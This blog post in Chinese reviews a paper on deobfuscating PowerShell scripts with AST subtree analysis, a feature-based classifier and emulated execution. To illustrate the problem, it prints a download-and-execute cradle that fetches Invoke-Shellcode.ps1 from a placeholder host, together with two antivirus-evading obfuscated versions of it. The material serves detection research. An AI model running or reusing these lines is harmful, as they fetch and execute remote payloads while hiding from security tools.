论文解读 --- 《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》

开篇

今天我们继续来解读安全行业优秀论文,通过学习他人的智慧成果,可以不断丰富我们的安全视野,使用它山之石来破解自身的难题。

这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts》,即《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》,作者为浙江大学网络安全博士。其在论文中提出了一个行之有效的对混淆的powershell脚本进行还原的方法,读来非常有启发性,值得写一篇文章来系统地分析下该方案。更重要的是,该还原方案具有通用性,不仅适用于混淆powershell脚本的还原,对其它语言类型的脚本,比如javascript、php、jsp和python等等,也一样适用。

本篇文章我们着重讲解论文中的去混淆方案,至于其中的"语义感知攻击检测"不做过多赘述,感兴趣的同学可以去阅读下论文原文。

代码混淆

事实上,混淆是阻碍反病毒引擎查杀包括Powershell在内的恶意程序的最大元凶,同样对混淆后的代码进行检测也非常有挑战性。因为本篇解读的论文针对的是powershell的混淆样本,所以我们也使用powershell来进行举例。

比如下面是一段典型的从外部网址下载powershell恶意代码并执行的脚本:

Invoke-Expression (New-Object Net.WebClient).DownloadString("https://xxx/Invoke-Shellcode.ps1");

这段代码会首先建立一个Web客户端,然后向指定的url下载脚本文件并执行,是一个典型的恶意行为。这里的恶意特征还是非常明显的,大部分的防病毒引擎都能够识别其中的特征并成功检测:

  • Invoke-Expression:动态执行powershell代码的cmdlet;
  • Net.WebClient:.net中的网络客户端类;
  • .DownloadString():下载方法;
  • “Invoke-Shellcode.ps1”:待下载的恶意脚本;

下面我们使用知名的powershell代码混淆工具Invoke-Obfuscation来对这段代码进行混淆,使用Invoke-Obfuscation的TOKEN/ALL混淆方式进行混淆后的结果如下:

&("{1}{2}{3}{0}"-f 'n','Invoke-Expre','s','sio') (.("{0}{1}{2}" -f 'New-','O','bject') ("{2}{3}{1}{0}"-f'lient','C','Ne','t.Web')).("{1}{0}{2}" -f'ownload','D','String').Invoke(("{0}{7}{6}{3}{2}{5}{1}{4}"-f 'https://xxx','e.p','llc','he','s1','od','Invoke-S','/'));.("{1}{0}{3}{4}{2}{5}"-f 'ke-','Invo','i','E','xpress','on') (&("{0}{1}{3}{2}"-f'Ne','w','t','-Objec') ("{3}{1}{2}{0}" -f 'nt','et.WebCli','e','N')).("{1}{0}{2}{3}" -f 'loadStri','Down','n','g').Invoke(("{1}{0}{6}{5}{3}{2}{7}{4}"-f':','https','-Shell','oke','ode.ps1','/xxx/Inv','/','c'));

而使用Invoke-Obfuscation的STRING/3混淆方式混淆后的结果如下:

&((gv '*MDR*').nAmE[3,11,2]-JoIn'')( ( [RegEx]::mAtChEs("XEI | )93]raHC[,)47]raHC[+27]raHC[+701]raHC[(  eCalPer- 43]raHC[,)94]raHC[+58]raHC[+221]raHC[( EcaLpERc-)';))'+'JHkcJHk'+',J'+'Hk'+'/JHk,J'+'Hk'+'vn'+'I/xxx/JHk,J'+'Hk1sp.edoJ'+'Hk'+',JH'+'kekoJ'+'H'+'k'+',JH'+'kl'+'lehS-JHk,J'+'Hk'+'sptthJHk,J'+'Hk:JH'+'k'+'f
'+'-'+'1'+'Uz'+'}'+'4{}7{}'+'2'+'{}'+'3{}5{}6{}'+'0{'+'}'+'1'+'{1'+'Uz((e'+'kovn'+'I'+'.'+')JHk'+'gJH'+'k,JHknJHk'+',JHknwoDJH'+'k,JH'+'kirtSdaol'+'JHk f-'+' 1'+'Uz}'+'3{}2{}0{}1'+'{1U'+'z'+'('+'.)'+')J'+'HkNJ'+'Hk,JHke'+'JHk,'+'JHk'+'il'+'C'+'b'+'e'+'W.t'+'eJH'+'k,JHk'+'t'+'nJHk f'+'- 1'+'Uz}'+'0{}'+'2{}1'+'{}'+'3{
1Uz( )JHk'+'c'+'e'+'jbO-JHk,JHkt'+'J'+'Hk,JH'+'k'+'wJ'+'Hk,J'+'Hk'+'e'+'NJHkf'+'-1U'+'z}2{'+'}'+'3{'+'}1'+'{'+'}'+'0'+'{1'+'U'+'z(&( )JH'+'knoJH'+'k,JH'+'k'+'ss'+'er'+'px'+'J'+'Hk,'+'JHkE'+'JH'+'k,JHk'+'iJHk,'+'JHkovnIJ'+'Hk,'+'JHk-ekJHk '+'f'+'-1U'+'z}5'+'{}2'+'{}'+'4'+'{}3'+'{}0{'+'}'+'1{'+'1U'+'z(.;))J'+'H'+'k/JH
k,'+'J'+'HkS-ekovnIJHk'+',J'+'Hkdo'+'JHk,JHk1sJH'+'k,JHkeh'+'JHk,JHk'+'cllJHk,JHkp.eJH'+'k,JHk'+'xx'+'x'+'/'+'/'+':'+'s'+'ptth'+'J'+'Hk '+'f'+'-1'+'U'+'z'+'}4'+'{}1'+'{}'+'5{'+'}2{}3{}6'+'{}7{}0{'+'1'+'Uz('+'('+'e'+'k'+'ovnI.)'+'J'+'H'+'k'+'g'+'nir'+'t'+'SJHk,JH'+'k'+'D'+'JHk,JHkdaol'+'nwo'+'JHkf'+'-'+' 1Uz}'+'2'+'{
'+'}0{}1{1Uz'+'('+'.))'+'J'+'H'+'kbeW.tJ'+'Hk,JHkeN'+'JH'+'k,J'+'HkC'+'JHk,JHktne'+'il'+'JHkf-1Uz'+'}'+'0{'+'}1{}'+'3{}2{1Uz('+' '+')'+'JHk'+'tce'+'j'+'bJHk,JHkOJH'+'k'+',JHk-'+'w'+'eNJHk f'+'- 1'+'Uz}2'+'{}1{}'+'0{1Uz'+'(.('+' )JH'+'koisJ'+'Hk,'+'J'+'Hks'+'J'+'Hk'+',JHkerpx'+'E'+'-ek'+'ovn'+'IJHk,JHk'+'n'+'JHk'+' '
+'f-1Uz'+'}0'+'{}'+'3'+'{}'+'2'+'{}'+'1{1'+'Uz'+'(&'((" ,'.','riGHTto'+'LE'+'FT' )-JoIN'')  )

可见混淆后的代码的真实意图已经完全被隐藏,大部分防病毒引擎对这样的混淆后代码也是无能为力的,最多只能检测到这段代码是一段混淆代码,至于代码的真实意图则无法发掘。

这就凸显了混淆代码还原的重要意义,它能够把混淆后的混乱代码还原到最初的形态,或者接近最初形态,然后将还原后的代码再交给检测引擎进行检测,这样就能极大地提高检出率,降低误报率,报告出代码的真实意图。

解混淆方案

传统的解混淆方法基本分为三个阶段:

  • 检测阶段:判断脚本是否被混淆过;
  • 解混淆阶段:使用动态或静态解混淆;
  • 验证阶段:验证解混淆的效果;
    在这里插入图片描述

这类传统方法存在如下问题:

  • 粗粒度的混淆检测:不能处理局部混淆,比如恶意程序只对关键代码部分进行混淆,整体代码仍符合为正常代码的特征。此时,如果将解混淆逻辑应用到整个脚本上去解混淆,导致未混淆代码受到解混淆逻辑的影响,那么最终还原出的代码和原始代码会差异过大,产生漏报或误报;
  • 解混淆逻辑需手工:某些时候需要大量手工工作,无法处理未知混淆,鲁棒性较差;

事实上,混淆了的PowerShell脚本在正式运行时必须动态计算出被混淆隐藏的原始脚本部分,以便解释器能够正确地执行它们。以下图的代码为例,这些脚本有两部分:混淆隐藏的原始脚本部分和解混淆还原算法。

更重要的是,这些混淆片段执行后返回的是字符串类型的代码片段。
在这里插入图片描述

因此,将这些脚本代码片段称为可还原的片段,以及AST可还原子树中相应的子树。只要找到了这些可还原的代码片段,就可以直接使用代码中自带的还原算法来恢复原始脚本。但是,在实践中,在可还原的代码片段和脚本的其他部分之间没有明确的边界,特别是当脚本在被多层混淆时。

为了解决这个问题,论文中提出了一种基于AST子树的方法,它首先定位可还原的代码片段,然后通过动态执行可还原的代码片段,得到执行结果,即原始代码片段,然后根据原始代码片段来重建原始脚本。

该还原方案的整体流程如下所示:
在这里插入图片描述

该方案的核心框架包括五个步骤:

  • 提取AST子树
  • 基于子树的混淆检测
  • 基于模拟器的解混淆
  • 更新AST
  • 后处理

接下来我们一个一个步骤来分析。

提取AST子树

首先,该方案首先会把混淆后的代码编译为AST(抽象语法树),可以使用微软官方程序集System.Management.Automation.dll中的System.Management.Automation.Language.Parser.ParseInput方法来生成指定代码的AST。其它脚本语言也可以找到类似的工具来生成对应的AST。

PowerShell的AST共有71种节点类型,如PipelineAst、CommandAst、CommandExpressionAst等,ParseInput方法返回一个根节点类型为ScriptBlockAst的AST。一个大小为几千字节的脚本生成的AST中可以有数千个节点,意味着有数千个子树,这就使得检查所有子树变得非常耗时。

幸运的是,powershell中只有两种方法可以将还原后的代码片段传递到上层节点,要么直接通过管道,要么间接通过变量。因此,只需要检查这两种类型的子树,根节点为PipelineAst类型的子树或AssignmentStatementAst节点下的第二个子树,因此称这两种类型的子树为可疑的子树。如下图所示,红色块表示PipelineAst节点,蓝色块表示AssignmentStatementAst节点。根据这个论断,需要检查的子树的数量将显著减少,然后以宽度优先的方式遍历AST,将可疑的子树推到堆栈中以便进行后续步骤的操作。
Pass recovered script pieces directly
Pass recovered script pieces indirectly

基于子树的混淆检测

对于已经压入栈中的可疑的子树,论文中采取了一个二元分类器来筛选出真正被混淆的子树。作者选取了四类特征来综合判断,包括:

  • 脚本片段的熵值
    熵表示字符频率的统计特征。有两个会严重影响熵值的流行的混淆技术技术:变量和函数名的随机化,以及编码。熵的计算公式如下:
    在这里插入图片描述
    其中Pi代表第i个字符在所有文本中出现的频率。
  • token的长度
    几乎所有类型的混淆技术都会改变token的长度。这些技术包括但不限于编码、字符串拆分和字符串重新排序等等,论文中选择token的平均值和最大长度作为特征。
  • AST类型的分布
    AST解析器生成的AST中包含71种类型的节点,如PipelineAst、ParenExpressionAst、CommandExpressionAst等。在混淆过程中,某些节点类型的节点数量通常会发生变化。例如,字符串重新排序将添加几个ParenExpressionAst节点和StringConstantExpressAst节点到AST。因此,论文计算每个节点类型的节点数,并构造一个71维的向量作为一个特征
  • AST的深度
    几乎所有的混淆技术对AST的深度和节点总数都有显著的影响。例如,对于基于编码的混淆,无论原始脚本有多少个节点,编码后只剩下大约10个节点,其深度小于6个节点。因此,论文中也使用AST深度和总节点作为特征。

论文中总共从字符级别、token级别和AST级别三个层次中选取了76个特征,并使用逻辑回归与梯度下降算法来执行分类。

基于模拟器的解混淆

在此步骤中,通过powershell相关的几个程序集dll设置一个PowerShell执行会话,该执行会话可以动态执行指定的powershell代码。通过执行在上一步中检测到的混淆片段,如果脚本片段是可恢复的脚本片段,则此过程的返回值为已恢复的脚本片段。如果返回值不是字符串,则意味着上一步的混淆检测结果错误,或者当前的脚本片段不是一个可恢复的片段。

对于这两种情况,都将子树标记为非混淆子树,然后对栈中的下一个混淆子树进行执行。因为是按照自下而上的顺序执行去解混淆,所以总是可以找到一个位于更高级级的可恢复的脚本片段。

更新AST

在从上一步获得执行后的恢复的脚本片段之后,需要将其解析为一个新的AST(恢复后的子树),并更新到原AST。

这个过程有两个主要步骤。首先,需要用恢复后的子树替换原AST上对应的子树。相应地,应该对其所有祖先的特征进行更新,并将恢复后子树中的所有可疑子树推到堆栈中。其次,应该更新脚本片段的更改。具体来说,将可恢复的原始代码片段和恢复后的代码片段块存储在混淆子树的根节点中,然后将更改从底部传递到顶部。最后,当没有了混淆子树时,可以在根节点处获得去混淆脚本。
后处理

脚本解混淆之后后,会得到一个与原始脚本具有相同语义的脚本。但是,在语法方面,这两个脚本之间仍然存在差异。这些差异主要是由混淆过程引起的。

如上所述,通过解混淆过程获得的脚本片段都是字符串。因此,为了帮助解释器理解每个字符串的角色,混淆过程引入了额外的token。例如,在脚本片段 "(‘DownloadFile’).Invoke($url)"中,Invoke函数调用告诉解释器"DownloadFile"应该被视为一个成员方法,而$url是该方法的参数,而混淆会添加额外的圆括号。

在后处理步骤中,这些由混淆过程引入的语法级变化可以用正则表达式定位并相应地去修复。

总结

在混淆样本大行其道的当下,反混淆系统的存在意义非常重大,它一方面可以帮助检测系统更有效的检测恶意样本,同时也能够辅助检测系统给出更符合原始脚本语义的恶意解释。传统的一些反混淆方式大部分都是纯静态还原,通过正则表达式在混淆样本上做一系列的模式匹配,因此适用范围非常有限。

该论文提出的混淆代码的解混淆方案十分新颖和通用,对于基于字符串的混淆方式有非常不错的还原效果,因为采用了基于解释器的动态执行,因此泛化能力很强。同时该方案又具有通用性,可以也应用到其它脚本语言上。

论文链接:https://www.researchgate.net/publication/335927735_Effective_and_Light-Weight_Deobfuscation_and_Semantic-Aware_Attack_Detection_for_PowerShell_Scripts

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/547170.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

解决宝塔的FTP无法使用被动模式

问题:宝塔安装完ftp管理软件之后,无法使用被动模式连接 解决: 提示: 如果还是不行,那么要看看防火墙和安全组有没有放行被动模式的端口,宝塔安装的pure-ftpd软件的被动模式端口默认是39000至400…

使用稳压管和三极管射极输出器电路驱动PMOS

当电源电压大于PMOS 管的最大栅源电源时,不能直接把栅极拉到地,需要一点特殊的电路来限制栅极驱动电压。有的地方是用电阻分压器做的,比如这种: NPN 三极管导通时,MOS 管栅极电压是两个电阻中间的电压。这种设计最大的…

“华为杯“华南理工大学程序设计竞赛 L-再一道好题

题目 #include<bits/stdc.h> using namespace std; #define int long long #define pb push_back #define fi first #define se second const int maxn 1e6 5; const int inf 1e9 5;using namespace std;int n, m;void solve(){int res 0;int q;string s;int k;cin …

华为ensp中nat server 公网访问内网服务器

作者主页&#xff1a;点击&#xff01; ENSP专栏&#xff1a;点击&#xff01; 创作时间&#xff1a;2024年4月15日17点30分 NAT服务器是一种在网络边界设备上配置的服务&#xff0c;它允许外部网络的用户访问内部网络中的服务或主机&#xff0c;同时隐藏了内部网络的真实IP地…

Eigen笔记2:矩阵拼接

直接贴代码吧&#xff0c;使用的MatrixXd 和<<运算符&#xff1a; int main(int argc, char *argv[]) {Eigen::MatrixXd B(2, 2);B << 1, 2,3, 4;Eigen::MatrixXd C(2, 2);C << 5, 6,7, 8;Eigen::MatrixXd D(2, 2);D << 9, 10,11, 12;Eigen::MatrixXd…

《由浅入深学习SAP财务》:第2章 总账模块 - 2.6 定期处理 - 2.6.5 年末操作:维护新财政年度会计凭证编号范围

2.6.5 年末操作&#xff1a;维护新财政年度会计凭证编号范围 财务系统的维护者要在每年年末预先设置好下一年度的会计凭证编号范围&#xff08;number range&#xff09;&#xff0c;以便下一年度会计凭证能够顺利生成。这一操作一定要在下一年度1月1日以前预先完成。 …

基于SSM项目高校在线请假与审批系统

采用技术 基于SpringBoot框架实现的web的智慧社区系统的设计与实现~ 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringMVCMyBatis 工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 简介 本系统实现了管理员&#xff0c;教师&#xff0c;学生三个模…

《QT实用小工具·二十五》日志重定向输出

1、概述 源码放在文章末尾 日志重定向输出&#xff0c;包含如下功能&#xff1a; 支持动态启动和停止。支持日志存储的目录。支持网络发出打印日志。支持输出日志上下文信息比如所在代码文件、行号、函数名等。支持设置日志文件大小限制&#xff0c;超过则自动分文件&#xf…

JS - 关于DOM的介绍和使用01

DOM&#xff08;Document Object Model&#xff09;是一种用于表示和操作HTML、XML等文档结构的编程接口。在JavaScript中&#xff0c;通过DOM可以访问和操作网页中的各种元素、属性和事件。 获取元素&#xff1a; 通过ID获取元素&#xff1a;使用document.getElementById(el…

4.Godot图片素材的获取和编辑

游戏开发中经常遇到图片素材的需求 1. 图片素材的准备 术语&#xff1a;Sprite 精灵&#xff0c;游戏开发中指一张图片来源不明的图片&#xff0c;切勿在商业用途使用&#xff0c;以免引起版权风险。 1. 在学习阶段&#xff0c;可以百度或者从一些资源网站获取&#xff0c;这…

面试题总结:HashMap底层原理

不仅仅是一道题&#xff0c;之后的某一天&#xff0c;它可能是破局的关键。 关于HashMap的知识点有哪些呢&#xff1f;分层次展示 1.基础知识&#xff1a; 存储键值对结构、底层数据结构、红黑树和链表 2.位运算与实现 位运算、put、get方法的实现 3.关于锁 segment锁和桶锁、线…

OpenCV基本图像处理操作(三)——图像轮廓

轮廓 cv2.findContours(img,mode,method) mode:轮廓检索模式 RETR_EXTERNAL &#xff1a;只检索最外面的轮廓&#xff1b;RETR_LIST&#xff1a;检索所有的轮廓&#xff0c;并将其保存到一条链表当中&#xff1b;RETR_CCOMP&#xff1a;检索所有的轮廓&#xff0c;并将他们组…

广东莱斯广告,6.8米UV喷印推动粤东喷绘产业升级

广东莱斯广告作为汕头市大型的广告服务运营商,近日迎来了一件值得庆祝的事情:彩神6.8米UV喷印机运行一周年,销售服务商深圳嘉豪总经理李伟特地前来回访。该设备是深圳润天智数字设备股份有限公司开发的全球首台搭载XTRA6800H柯尼卡喷头的设备,设备特点是:1.色彩艳丽;2.超宽喷印…

Suno,属于音乐的ChatGPT时刻来临

AI绘画 AI视频我们见过了&#xff0c;现如今AI都能生成一首音乐&#xff0c;包括编曲&#xff0c;演唱&#xff0c;而且仅需几秒的时间便可创作出两分钟的完整歌曲 相信关注苏音的很大一部分都是从获取编曲或者混音插件来的&#xff0c;现如今AI却能帮你几秒生成曲子 今天就带…

Postgresql源码(125)游标恢复执行的原理分析

问题 为什么每次fetch游标能从上一次的位置继续&#xff1f;后面用一个简单用例分析原理。 【速查】 恢复扫描需要知道当前页面、上一次扫描到的偏移位置、当前页面一共有几条&#xff1a; 当前页面&#xff1a;HeapScanDesc结构中记录了扫到的页面&#xff08;scan->rs_cb…

计算机网络:数据链路层 - CSMA/CA协议

计算机网络&#xff1a;数据链路层 - CSMA/CA协议 CSMA/CA概述帧间间隔工作原理退避算法虚拟载波监听 CSMA/CA概述 讲解CSMA/CA之前&#xff0c;我们回顾一下CSMA/CD的三个特性&#xff1a; 多址接入MA&#xff1a;多个主机连接在一条总线上&#xff0c;竞争使用总线 载波监听…

2024年主流的java混淆工具有哪些

2024年&#xff0c;主流的Java混淆工具可能会包括&#xff1a; ProGuard&#xff1a;ProGuard 是一个免费的开源 Java 混淆工具&#xff0c;可用于压缩、优化和混淆 Java 字节码。它是Android开发者的首选混淆工具之一&#xff0c;并且在Java应用程序中也得到了广泛应用。 Dex…

Stable Diffusion超详细教程!从0-1入门到进阶

一、本地部署 Stable Diffusion 前言 目前市面上比较权威&#xff0c;并能用于工作中的AI绘画软件其实就两款。一个叫Midjourney&#xff08;简称MJ&#xff09;&#xff0c;另一个叫Stable-Diffusion&#xff08;简称SD&#xff09;。MJ需要付费使用&#xff0c;而SD开源免费…

【洛谷 P8802】[蓝桥杯 2022 国 B] 出差 题解(带权无向图+单源最短路+Dijkstra算法+链式前向星+最小堆)

[蓝桥杯 2022 国 B] 出差 题目描述 A \mathrm{A} A 国有 N N N 个城市&#xff0c;编号为 1 … N 1 \ldots N 1…N 小明是编号为 1 1 1 的城市中一家公司的员工&#xff0c;今天突然接到了上级通知需要去编号为 N N N 的城市出差。 由于疫情原因&#xff0c;很多直达的交…

【GEE实践应用】统计遥感数据像元的观测值数量以及良好观测值数量

下面我们以贵州省毕节市2016年8月1号至2018年7月31号两年间像元的观测值数量以及良好的观测值数量为例&#xff0c;统计结果以图像形式进行输出&#xff0c;如图1所示&#xff1a; // 1. 定义研究区域 var studyArea table;// 获取 Landsat 和 Sentinel-2 数据集 var landsat…